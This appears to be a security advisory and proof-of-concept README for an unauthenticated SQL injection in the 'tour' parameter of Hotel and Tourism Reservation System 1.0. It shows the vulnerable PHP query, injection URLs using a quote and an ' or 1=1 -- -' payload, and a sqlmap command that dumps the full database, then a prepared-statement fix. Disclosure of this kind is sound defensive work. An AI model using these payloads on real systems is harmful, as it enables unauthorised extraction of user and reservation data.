xmyronn/cve-2026-10290-sqliProof-of-concept for unauthenticated SQL injection in Hotel and Tourism Reservation System 1.0, demonstrating database extraction via the tour parameter.
| Field | Details |
|---|
| Title | Hotel and Tourism Reservation System - SQL Injection via tour GET Parameter |
| Vendor | code-projects.org |
| Vendor URL | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Product | Hotel and Tourism Reservation System |
| Version | 1.0 |
| Vulnerability Type | SQL Injection |
| CWE | CWE-89 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Affected File | /ht/tour.php |
| Affected Parameter | tour (GET) |
| Authentication Required | No |
| Remote Exploitable | Yes |
| Researcher | Syed Imad Uddin Alvi |
A critical SQL Injection vulnerability exists in the tour GET parameter of tour.php in Hotel and Tourism Reservation System 1.0. The parameter is passed directly into a raw SQL query with no sanitization, no prepared statements, and no input validation. An unauthenticated remote attacker can manipulate the query to extract, modify, or delete any data in the database. The vulnerability was confirmed by a full database dump using sqlmap.
Vulnerable code in tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID is taken directly from $_GET['tour'] and interpolated into the SQL query with no sanitization whatsoever.
Setup: Install Hotel and Tourism Reservation System 1.0 on XAMPP and access at http://<target>/ht/
Step 1 — Visit any tour page as an unauthenticated user:
http://<target>/ht/tour.php?tour=4
Step 2 — Inject a single quote to break the SQL query and confirm the vulnerability:
http://<target>/ht/tour.php?tour='
Result: Fatal MySQL error is thrown — confirming unsanitized input reaches the SQL query.
Step 3 — Confirm SQLi with a boolean-based payload:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
Result: Page loads normally with tour data — boolean injection successful.
Step 4 — Dump the entire database using sqlmap:
sqlmap -r sqli.txt --dump --batch
Result: sqlmap successfully dumps all tables in hotel_db including users, rooms, tour_reserves, gallery — full database compromise confirmed.
An unauthenticated remote attacker can:
INTO OUTFILE if file privileges are grantedThe tour GET parameter is interpolated directly into a raw SQL query with no use of prepared statements, parameterized queries, or input sanitization:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — Independent Security Researcher